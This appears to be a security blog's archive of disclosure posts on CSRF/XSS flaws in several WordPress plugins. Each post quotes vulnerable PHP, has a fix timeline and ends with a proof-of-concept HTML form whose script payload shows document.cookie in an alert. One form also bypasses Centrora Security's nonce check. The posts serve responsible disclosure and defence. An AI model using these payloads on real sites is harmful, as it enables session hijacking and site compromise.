19 Jan

Vulnerability Details: Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) in Arigato Autoresponder and Newsletter

This post's content is only accessible to those who have an active account with our service. If you currently have one then please log in to view the content. If you don't currently have one, when you sign up now you can try the service for free for the first month.

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

09 Dec

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Twitter Cards Meta

We recently found that the Twitter Cards Meta contains a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability on the plugin’s setting pages,/wp-admin/admin.php?page=twitter-cards-meta.

The CSRF potion of the vulnerability was due to a lack of a nonce on the page and a lack of a check for a valid one when processing a request to change the plugin’s settings.

For the XSS issue, in the file /twcm-options.php starting at line 28 in version 2.4.5 settings are saved and there is no sanitization done:

28
29
30
31
32
33
34
35
36
37
38
39
40
if(isset($_POST['save_options']))
{
	$options=array(
			'site_twitter_username'=>trim($_POST['site_twitter_username']),
			'use_authors_twitter_account'=>isset($_POST['use_authors_twitter_account']) ? intval($_POST['use_authors_twitter_account']) : '', 
			'use_image_from'=>$_POST['use_image_from'], 
			'image_custom_field'=>trim($_POST['image_custom_field']),
			'default_image'=>(trim($_POST['default_image'])=='Link to Default Image')? '' : trim($_POST['default_image']),
			'home_page_description'=>(trim($_POST['home_page_description'])=='Enter a description for home page, keep it under 200 characters')? '' : wp_filter_nohtml_kses(trim($_POST['home_page_description'])),  #wp_filter_nohtml_kses is smililar with strip_tags() function
			'default_card_type'=>$_POST['default_card_type'], 
			'use_default_card_type_sitewide'=>isset($_POST['use_default_card_type_sitewide']) ? $_POST['use_default_card_type_sitewide'] : ''
 
	);

When the values are outputted on the page through the same file they were not escaped. For example, the value for “site_twitter_username” was set on line 68:

<tr><td  align="left" width="200">Site's Main Twitter Account:</td><td>@<input type="text" name="site_twitter_username" value="<?php echo ($twcm_options['site_twitter_username'])? $twcm_options['site_twitter_username'] :'WPDevTeam';?>" size="20"  onblur="javascript: if(this.value=='') {this.value='WPDevTeam';}" onclick="javascript: if(this.value=='WPDevTeam') {this.value='';}"  /></td></tr>

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=twitter-cards-meta, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=twitter-cards-meta" method="POST">
<input type="hidden" name="save_options" value="Save Options" />
<input type="hidden" name="site_twitter_username" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • December 2, 2016 – Developer notified.
  • December 9, 2016 – WordPress.org Plugin Directory Notified.
  • December 9, 2016 – Plugin removed from WordPress.org Plugin Directory.
21 Oct

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Simply Static

The description page for the plugin Simply Static makes the case for it use based in part on the insecurity of WordPress plugins:

WordPress is used by one in four websites[1]. That makes it a prime target for hackers. There are a lot of ways that your site can be compromised, but two-thirds of all hacks are caused by vulnerabilities in WordPress plugins, themes, and core files[2].

Keeping WordPress secure requires constant vigilance. Exploits are being found for WordPress themes and plugins every day. Even WordPress itself has critical vulnerabilities from time to time. If you don’t stay on top of updates, your site will get hacked. It’s just a matter of when.

But what if there was an easy way to keep WordPress secure? What if you could lock WordPress away somewhere where no one can get to it but you?

The plugin itself could be used an example of that. An arbitrary file viewing vulnerability, which is a type that is likely to have exploitation attempts, was recently disclosed in the plugin. When we went to look into that to provide to put together a post with details of the vulnerability we noticed there were other security issues, though much less severe.

We should mention that idea is the WordPress website with this plugin would be in a location that is non-public, so if people were doing that, the threat of vulnerabilities in the plugin would be limited:

With Simply Static you can put your WordPress installation in a secure location and publish a static site for the rest of the world to see. You can keep WordPress at a secret URL, protect it with .htaccess, or even put it behind a VPN. Simply Static will create static copies of all of the pages from your WordPress installation and replace the URLs to match where you’ll be hosting it.

While taking a quick look over the plugin we noticed that is protection against cross-site request forgery (CSRF) was only half implemented. While a nonce had been added to the forms for changing the plugin’s settings and generating the static files, there was no check done to see if it is valid when processing requested from those forms.

Here is where settings were saved (in the file /includes/class-simply-static.php):

371
372
373
374
375
if ( isset( $_POST['_settings'] ) ) {
	$this->save_options();
	$message = __( 'Settings saved.', self::SLUG );
	$this->view->add_flash( 'updated', $message );
}

The generation of the static files is handle through WordPress’ AJAX functionality, it is registered here:

82
add_action( 'wp_ajax_generate_static_archive', array( self::$instance, 'generate_static_archive' ) );

The function generate_static_archive also don’t do any nonce check:

279
280
281
282
283
284
function generate_static_archive() {
	$action = $_POST['perform'];
 
	$archive_manager = new Simply_Static_Archive_Manager( $this->options );
 
	$archive_manager>perform( $action );

With that an attacker could cause a logged in Administrator to change the settings without intending it and any logged in user to re-generate the static files.

Often times a CSRF vulnerability can be used to add JavaScript code to the setting’s page, leading to cross-site request forgery (CSRF)/cross-site request (XSS) vulnerability. In this case we found the settings’ values were escaped, which prevents that from happening. But the same value were used elsewhere allowing cross-site scripting to occur. For example, the Additional URLS value will be be included on the Generate page (after doing a re-generation) and on the Diagnostic’s page.

The value of that was saved without sanitization here:

437
->set( 'additional_urls', filter_input( INPUT_POST, 'additional_urls' ) )

It was output on the Diagnostic’s page without escaping it here (in the file /includes/class-simply-static-diagnostic.php):

106
107
public function is_additional_url_valid( $url ) {
	$label = sprintf( __( 'Checking if Additional URL <code>%s</code> is valid', 'simply-static' ), $url );

After we notified the developer they released version 1.7.1, which fixes the issues. Checks were added to insure a valid nonce is included, here is the one that one that was added for saving the settings:

460
461
public function save_options() {
	check_admin_referer( 'simply-static_settings' );

The settings’ values are now run through a new function fetch_post_value() to sanitize them.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=simply-static_diagnostics, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<head>
</head>
<body>
<form method="post" action="http://localhost/wordpress/wp-admin/admin.php?page=simply-static_settings">
<input type="hidden" name="_settings" value="1" />
<input type="hidden" name="additional_urls" value="<script>alert(document.cookie);</script>" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 10/11/2016 – Developer notified
  • 10/12/2016 – Developer responds.
  • 10/20/2016 – Version 1.7.1 released, which fixes the vulnerability.
18 Oct

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Site Analytics Plugin

We recently found that the Site Analytics Plugin contains a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability on the plugin’s setting pages, /wp-admin/plugins.php?page=siteanalytics.php.

The CSRF potion of the vulnerability was due to a lack of a nonce on the page and a lack of a check for a valid one when processing a request to change the plugin’s settings.

For the XSS issue, in the file /siteanalytics.php starting at line 37 in version 1.4.3 settings are saved and there is no sanitization done:

37
38
39
40
41
42
43
if ( isset( $_POST['Save'] )) {
	if ( isset( $_POST['saScript'] ) && !empty( $_POST['saScript'] )) {
		$script = $_POST['saScript'];
		if ( $script[0] == '<' )
		{
			delete_option( 'sa_script' );
			add_option( 'sa_script', $script, '', 'yes' );

When the value is outputted on the page through the same file they are not escaped, the value is set here:

66
$script = stripslashes( get_option( 'sa_script' ));

And then output here:

'               <tr><td><textarea name="saScript" rows="15" cols="100">'.$script.'</textarea></td></tr>'.

The developer of the plugin is GoDaddy, a major web hosting company. More than a week ago we left a message on the support forum for another of their other plugins, which we also found a vulnerability in, asking how we could get in touch with them privately to notify them of the details of the vulnerabilities in the plugins, but they haven’t responded.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page. This will occur right after you hit the Submit button when using the Firefox web browser. Other major web browser have XSS filtering, so it will only be shown if you return to/wp-admin/plugins.php?page=siteanalytics.php after having submitted it.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<head>
</head>
<body>
<form method="post" action="http://[path to WordPress]/wp-admin/plugins.php?page=siteanalytics.php">
<input type="hidden" name="saScript" value='</textarea><script>alert(document.cookie);</script>' />
<input type="submit" name="Save" value="Submit" />
</form>
</body>
</html>

Timeline

  • 10/10/2016 – Contacted developer publicly to see how we could privately notify them of the issue.
  • 10/18/2016 – WordPress.org Plugin Directory notified.
  • 10/19/2016 – Plugin removed from WordPress.org Plugin Directory.
02 Sep

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Centrora Security

When it comes to writing secure code one good piece of advice is to use the security functions provided in the environment you are using instead of making your own. The developers of Centrora Security decided not to do that in the cross-site request forgery (CSRF) protection for AJAX requests in the plugin and in their custom code they made a mistake that nullified the protection as of version 6.5.6.

According the plugin’s description it is able to help identify security vulnerabilities, but it would seem not this one:

The built-in Malware and Security Scanner can also help you identify any security risks, malicious codes, spam, virus, SQL injection and security vulnerabilities existing in your online system.

AJAX requests are sent to the runAction() function in the class oseAjax, located in the file /vendor/oseframework/ajax/oseAjax.php :

33
34
35
36
37
38
39
40
public static function runAction()
{
	$centrora = oseFirewall::runApp();
	self::secureCheck();
	$requst = $centrora->runController($_REQUEST['controller'] . 'Controller', $_REQUEST['task']);
	$requst->execute();
 
}

The CSRF protection occurs in the secureCheck() function called in that, but in version 6.5.6 there was a problem with the function’s code:

41
42
43
44
45
46
47
48
49
50
51
52
53
54
private static function secureCheck()
{
	if (!empty($_REQUEST['centnounceForm'])) {
		$centnounce = (isset($_REQUEST['centnounceForm'])) ? $_REQUEST['centnounceForm'] : '';
	}
	else {
		$centnounce = (isset($_REQUEST['centnounce'])) ? $_REQUEST['centnounce'] : '';
 
		if (!self::verifyNounce($centnounce))
		{
			die('Sorry, our software is CSRF proof.');
		}
	}
}

If the request includes a GET or POST input named “centnounceForm” then the value of that was set to the variable $centnounce and the function stops running without checking if a valid nonce is included by running it through the function verifyNounce().

Also worth noting is that the code appears to be used with a Joomla version of the software as well, but when used in the Joomla version the nonce is never checked by verifyNounce(), instead it is always returns true:

55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
private static function verifyNounce($centnounce)
{
	if (OSE_CMS == 'joomla')
	{
		return true;
	}
	else
	{
		if (isset($_SESSION['centnounce']) && $_SESSION['centnounce'] == $centnounce) {
			return true;
		} else {
			return false;
		}
	}
}

A cross-site request forgery (CSRF) vulnerability’s severity depends on what it would possible actions you could cause someone to take without them intending. In this case one possibility is to use it to cause persistent cross-site scripting (XSS) due to lack of sanitization or escaping for items on the  IP Control page, /wp-admin/admin.php?page=ose_fw_manageips, of the plugin.

The lack of sanitization occurred for the “title” input in the function action_Addips() in the file /classes/App/Controller/ManageipsController.php:

59
60
61
62
63
64
65
public function action_Addips() {
	$this->model->loadRequest();
	$ipmanager = $this->model->getFirewallIpManager ();
	$ip_start = $this->model->getVar('ip_start', null); 
	$ip_type =  $this->model->getVar('ip_type', null);
	$ip_status = $this->model->getInt('ip_status', 1);
	$title =  $this->model->getVar('title', 'Backend Added IP');

The getVar function, which didn’t sanitize it,  can be found in the file /vendor/oseframework/request/oseRequest.php.

The value is returned through an AJAX request through the function action_GetACLIPMap() in the file /classes/App/Controller/ManageipsController.php that didsn’t escape it.

On the day we contacted the developer about the issue they fixed the broken cross-site request forgery (CSRF) protection with the release of version 6.5.7 of the plugin, and then fixed the lack of sanitization with the release of 6.5.9 two days later.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=ose_fw_manageips.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="addips" />
<input type="hidden" name="task" value="addips" />
<input type="hidden" name="option" value="com_ose_firewall" />
<input type="hidden" name="controller" value="manageips" />
<input type="hidden" name="title" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="ip_type" value="ip" />
<input type="hidden" name="ip_start" value="1.1.1.1" />
<input type="hidden" name="ip_end" value="" />
<input type="hidden" name="ip_status" value="1" />
<input type="hidden" name="centnounceForm" value="false" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 8/30/2016 – Developer notified.
  • 8/30/2016 – Version 6.5.7 released, which fixes the issue.
26 Aug

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Bad Behavior

We recently found that the Bad Behavior plugin contained a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability on one of the plugin’s setting pages, /wp-admin/options-general.php?page=bb2_whitelist. The day after we notified the developer they released version 2.2.19, which fixed the issue.

The CSRF potion of the vulnerability was due to a lack of a nonce on the page.

For the XSS issue, in the file /bad-behavior-wordpress-admin.php starting at line 245 in version 2.2.18 settings were saved and there was no sanitization done:

245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
if ($_POST) {
	$_POST = array_map('stripslashes_deep', $_POST);
	if ($_POST['ip']) {
		$whitelists['ip'] = array_filter(preg_split("/\s+/m", $_POST['ip']));
	} else {
		$whitelists['ip'] = array();
	}
	if ($_POST['url']) {
		$whitelists['url'] = array_filter(preg_split("/\s+/m", $_POST['url']));
	} else {
		$whitelists['url'] = array();
	}
	if ($_POST['useragent']) {
		$whitelists['useragent'] = array_filter(preg_split("/[\r\n]+/m", $_POST['useragent']));
	} else {
		$whitelists['useragent'] = array();
	}
	update_option('bad_behavior_whitelist', $whitelists);

When the values are outputted on the page through the same file they were not escaped. For example, the value for “ip” was set on line 280:

<tr><td><label>IP address or CIDR format address ranges to be whitelisted (one per line)<br/><textarea cols="24" rows="6" name="ip"><?php echo implode("\n", $whitelists['ip']); ?></textarea></td></tr>

The variable $whitelists was set here:

234
$whitelists = bb2_read_whitelist();

The function bb2_read_whitelist() was set in the file /bad-behavior-wordpress.php here:

99
100
101
function bb2_read_whitelist() {
	return get_option('bad_behavior_whitelist');
}

The issue was fixed in version 2.2.19 by adding a nonce to the settings page and checking if a valid one was included when a request to save the plugin’s settings was made, as well as escaping the settings on the page.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page. This will occur right after you hit the Submit button when using the Firefox web browser. Other major web browser have XSS filtering, so it will only be shown if you return to /wp-admin/options-general.php?page=bb2_whitelist after having submitted it.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=bb2_whitelist" method="POST">
<input type="hidden" name="ip" value="</textarea><script>alert(document.cookie);</script>" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 8/24/2016 – Developer notified.
  • 8/25/2016 – Version 2.2.19 released, which fixed the issue.
29 Jul

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in User Activity Log

Every additional plugin that you add to your WordPress website adds additional security risk, that includes security plugins. Recently we did a quick check over plugins designed to allow you to keep track actions taken by users on your website. In several of cases we found rather minor security vulnerabilities. Like the first issue we found in the plugin User Activity Log, this one involves a lack of protection against cross-site request forgery (CSRF).

This vulnerability involves a lack of protection against CSRF when saving the plugin’s settings. That is due to a lack on a nonce.

This can be combined with cross-site scripting (XSS) on the Email settings page. While the values are all eventually validated or sanitized, the POST inputs “sol-mail-to” and “sol-mail-from” are stored in variables $to_email and $from_email respectively ahead of them being validated in the file /user_settings_menu.php:

460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
$to_email = $_POST['sol-mail-to'];
$from_email = $_POST['sol-mail-from'];
$mail_msg = ual_test_input($_POST['sol-mail-msg']);
$emailEnable = $_POST['emailEnable'];
update_option('enable_email', $emailEnable);
if (isset($_POST['emailEnable'])) {
	if ($_POST['emailEnable'] == '1') {
		if ($mail_msg == "") {
			$msg = __("Please enter message", 'wp_user_log');
		}
		if ($to_email == "" || $from_email == "") {
			$msg = __("Please enter the email address", 'wp_user_log');
		}
		if (!filter_var($to_email, FILTER_VALIDATE_EMAIL) || !filter_var($from_email, FILTER_VALIDATE_EMAIL) || !is_email($to_email) || !is_email($from_email)) {
			$msg = __("Please enter valid email address", 'wp_user_log');
		} else {
			update_option('to_email', $to_email);
			update_option('from_email', $from_email);
			update_option('email_message', $mail_msg);
		}
	}
}

Placing malicious JavaScript code in those inputs will cause there values to not be saved permanently, but the values are later echoed out on the page at

530
<input name="sol-mail-from" type="email" value="<?php echo $from_email; >" />

and

537
<input name="sol-mail-to" type="email" value="<?php echo $to_email; >" />

Since the cross-site scripting (XSS) is reflected and not persistent, in major web browsers other than Firefox it would be hard to exploit this since you would need to get around the XSS filtering they include to protect against this type of exploit.

We received a response from the developer the same day we contacted this issue and the other we discovered, but a month later the plugin has yet to receive an update, so the vulnerabilities still exist in the current version, 1.2.3.

Proof of Concept

The following proof of concept will cause any available cookies to shown in alert box when logged in to WordPress as an Administrator. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=email_settings_menu"" method="POST">
<input type="hidden" name="emailEnable" value="1" />
<input type="hidden" name="sol-mail-from" value='"><script>alert(document.cookie);</script>' />
<input type="submit" name="btnsolEmail" value="Save Changes" />
</form>
</body>
</html>

Timeline

  • 6/29/2016 – Developer notified.
  • 6/29/2016 – Developer responds.
  • 10/11/2016 – Version 1.2.6 released, which fixes issue.
22 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in WP Mobile Detector

As we continue looking at ways we can improve the security of WordPress plugins, one of the thing we are trying is checking over plugins that we have recently added new vulnerabilities to our data set to see if we can find any other obvious vulnerabilities. The second we have spotted is in the plugin WP Mobile Detector. Unlike the arbitrary file upload vulnerability we spotted after some was looking to exploit it on this website, this cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability on the settings page for the plugin is unlikely to be exploited.

The CSRF potion of this is due to a lack of nonce on the page.

For the XSS issue, in the file /admin/admin-page.php the settings are saved and there is no sanitization done:

37
38
39
40
41
42
43
44
45
46
47
foreach($_POST as $k=&gt;$v){
	if(is_array($v)){
		foreach($v as $key=&gt;$value){
			$websitez_options[$k][$key] = $value;
		}
	}
}
$options = serialize($websitez_options);
 
if(count($websitez_options) &gt; 0){
	if(websitez_set_options($websitez_options)){

When the values are outputted on the page through the file /admin/themes.php they are not escaped. For example, the value for “[‘general’][‘posts_per_page’]” is set on line 470:

470
<input type="text" id="posts_per_page" value="<?php echo $websitez_options['general']['posts_per_page']; ?>" />

Due to the use of a short open tag, <?, in one location in the file /admin/themes.php the setting’s page will not load if short open tags are not enabled:

561
&lt;? foreach($icons as $icon){ ?&gt;

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the Mobile Theme Settings page, /wp-admin/admin.php?page=websitez_themes.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="websitez_options" />
<input type="hidden" name="general[posts_per_page]" value=':"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 6/15/2016 –  Developer notified.
  • 6/22/2016 – WordPress.org Plugin Directory notified.
  • 6/28/2016 – Removed from Plugin Directory.
20 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in WP Fastest Cache

Recently in discussing Wordfence’s problematic practice of disclosing vulnerabilities, but only releasing partial details, in what appears to attempt to try to profit by being the only firewall provider who can protect against these, we mentioned that this practice makes it harder for other to review the vulnerabilities. That is important since we frequently find that vulnerabilites haven’t actually been fixed, they have only been partially fixed, or that the disclosure of one vulnerability will point the way to other vulnerabilities. When it comes Wordfence’s disclosures that concern already wasn’t a hypothetical. The first time they did that type of disclosure, with the Yoast SEO plugin, we found two related vulnerabilites that they had missed (which still have yet to be fixed).

Two more recent disclosures by Wordfence disclosed this way involved the WP Fastest Cache plugin. As we discussed in our post looking at the vulnerabilites, both vulnerabilites involved a situation where AJAX functions was accessible to any logged in users instead of just Administrator level users. This was fixed by checking if the the user making the request have the ability to manage_options.

Once you can see the details of the vulnerabilites that Wordfence withheld it becomes clear that there is another issue. Even without the check on the user’s capability, someone who cannot access the relevant pages shouldn’t be able to make the changes in question due to protection against cross-site request forgery (CSRF) since they would not have access to the relevant nonce. So either the CSRF protection was missing or there was some other problem with it. No change was made to resolve that part of the issue in version 0.5.5.8, so that means that if you can get Administrator level user to visit a web page you control you can cause them to change setting’s for the plugin unintentionally.

Instead of looking at the problem with one the vulnerable functions mentioned in Wordfence’s post, let’s take a look at yet another one. This time one that permits cross-site scripting (XSS) to occur. It involves the Cache Timeout settings, which are saved through the wpfc_save_exclude_pages_callback() function. Here is the function code 0.8.5.8 in:

386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
public function wpfc_save_exclude_pages_callback(){
	if(current_user_can('manage_options')){
		if(isset($_POST["rules"])){
			$data = json_encode($_POST["rules"]);
 
			if(get_option("WpFastestCacheExclude")){
				update_option("WpFastestCacheExclude", $data);
			}else{
				add_option("WpFastestCacheExclude", $data, null, "yes");
			}
		}else{
			delete_option("WpFastestCacheExclude");
		}
 
		echo json_encode(array("success" =&gt; true));
		exit;
	}else{
		wp_die("Must be admin");
	}
}

You can see that the manage_option capability is checked, but there is no nonce check. You can also see that no sanitization is done on the user input, $_POST[“rules”].

When the values are outputted on the plugin’s admin page, /admin.php?page=wpfastestcacheoptions, through the file /inc/admin.php they are not escaped:

1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
$schedules_rules = array();
$crons = _get_cron_array();
 
foreach ((array)$crons as $cron_key =&gt; $cron_value) {
	foreach ( (array) $cron_value as $hook =&gt; $events ) {
		if(preg_match("/^wp\_fastest\_cache(.*)/", $hook, $id)){
			if(!$id[1] || preg_match("/^\_(\d+)$/", $id[1])){
				foreach ( (array) $events as $event_key =&gt; $event ) {
					$tmp_array = array();
 
					if($id[1]){
						// new cronjob which is (wp_fastest_cache_d+)
						$tmp_std = json_decode($event["args"][0]);
 
						$tmp_array = array("schedule" =&gt; $event["schedule"],
										   "prefix" =&gt; $tmp_std-&gt;prefix,
										   "content" =&gt; $tmp_std-&gt;content);
					}else{
						// old cronjob which is (wp_fastest_cache)
						$tmp_array = array("schedule" =&gt; $event["schedule"],
										   "prefix" =&gt; "all",
										   "content" =&gt; "all");
					}
				}
 
				array_push($schedules_rules, $tmp_array);
			}
		}
	}
}
 
echo "WpFcTimeout.schedules = ".json_encode($this-&gt;cron_add_minute(array())).";";
 
if(count($schedules_rules) &gt; 0){
	echo "WpFcTimeout.init(".json_encode($schedules_rules).");";
}else{
	echo "WpFcTimeout.init();";
}

We contacted the developer a week about this but they did seem to grasp the issue. They kept mentioning they already are checking if the user can manage_options, which doesn’t impact a cross-site request forgery issue, as we tried to explain to them. So the issue hasn’t been fixed yet.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the Cache Options page, /wp-admin/admin.php?page=wpfastestcacheoptions.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="wpfc_save_timeout_pages" />
<input type="hidden" name="rules[0][prefix]" value="exact" />
<input type="hidden" name="rules[0][content]" value=':"><script>alert(document.cookie);</script>' />
<input type="hidden" name="rules[0][schedule]" value="everyminute" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 6/13/2016 – Developer notified.
  • 6/20/2016 – WordPress.org Plugin Directory notified.
  • 6/20/2016 – Removed from Plugin Directory.
  • 6/21/2016 – Version 0.5.5.9 released, which fixes vulnerability.
03 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Viddler WordPress plugin

Recently we have been running in to a lot cases where we are seeing what looks to be hackers probing for the use of WordPress plugins on our websites, for plugins that do not have known vulnerabilities. That has lead to us discover some very serious vulnerabilities in those plugins while trying to figure out what the hackers might be trying to exploit. In one of the latest cases though we think that so far we haven’t discovered what the hacker is trying to exploit, but we did find a lesser security vulnerability.

Recently we had a request for the file /wp-content/plugins/the-viddler-wordpress-plugin/css/viddler-wordpress.css, which is part of the Viddler WordPress plugin. In looking for any known vulnerabilities we found a report of a vulnerability in the plugin, that was strangely include inside of a post about a Joomla extension, Com_Adsmanager.

In looking at though it seems unlikely that someone would be trying to exploit that. While it does allow you to upload arbitrary files, as they are stored in a servers upload_tmp_dir as define by the following line in the file /js/plupload/examples/upload.php:

41
$targetDir = ini_get("upload_tmp_dir") . DIRECTORY_SEPARATOR . "plupload";

The plugin doesn’t display what the location of that is anywhere, so unless a hacker was able to determine or guess it some other way they would know where the file is. It also looks like that would normally not be somewhere web accessible. It might be possible use directory traversal to put the file in some other location, but that would also require knowing the location of a web accessible directory to be much use. You also might be able to combine it with a local file inclusion (LFI) vulnerability to get make is useful for an exploit.

The other things that seems to point away from that being exploited is that the hacker didn’t just try sending a request directly to that file instead of first checking if the plugin is installed.

While we looked over the plugin for something else that be being exploited, we ran across another vulnerability that also likely wasn’t what was attempted to be exploited, but still is a security risk.

The plugin’s setting page, /wp-admin/options-general.php?page=viddler-comments-config, is susceptible to a cross-site request forgery (CSRF)/cross-site scripting (XSS)  exploit.

The CSRF potion of this is due to a lack of nonce on the page.

For the XSS issue, in the file /viddlercomments.php starting at line 239 settings are saved and there is no sanitization done:

239
240
241
242
243
244
245
246
247
248
249
update_option('viddler_player_type_comments', $_POST['viddler_player_type_comments']);
update_option('viddler_player_type_posts', $_POST['viddler_player_type_posts']); update_option('viddler_player_width', $_POST['viddler_player_width']);
update_option('viddler_download_source', $_POST['viddler_download_source']);
update_option('viddler_embed_swapper', $_POST['viddler_embed_swapper']);
update_option('viddler_comment_box_id', $_POST['viddler_comment_box_id']);
update_option('viddler_button_text', $_POST['viddler_button_text']);
update_option('viddler_default_link', $_POST['viddler_default_link']);
update_option('viddler_custom_tags', $_POST['viddler_custom_tags']); 
update_option('viddler_yourusername', $_POST['viddler_yourusername']);
update_option('viddler_yourpassword', $_POST['viddler_yourpassword']);
update_option('viddler_show_widget', $_POST['viddler_show_widget']);

When the values are outputted on the page through the same file they are not escaped. For example, the value for “viddler_custom_tags” is set on line 317:

317
<p><label for="viddler_custom_tags">Custom tags (separate with commas, no spaces):</label> <input type="text" name="viddler_custom_tags" id="viddler_custom_tags" size="25" value="<?php if (!get_option('viddler_custom_tags')) { echo ''; } else { echo get_option('viddler_custom_tags'); } ?>" /> (<?php _e('<a href="#viddlerfaq-customtags">?</a>'); ?>)</p>

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page. This will occur right after you hit the Submit button when using the Firefox web browser. Other major web browser have XSS filtering, so it will only be shown if you return to /wp-admin/options-general.php?page=viddler-comments-config after having submitted it.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<head>
</head>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=viddler-comments-config" method="post">
<input type="hidden" name="viddler_custom_tags" value='"><script>alert(document.cookie);</script>' />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>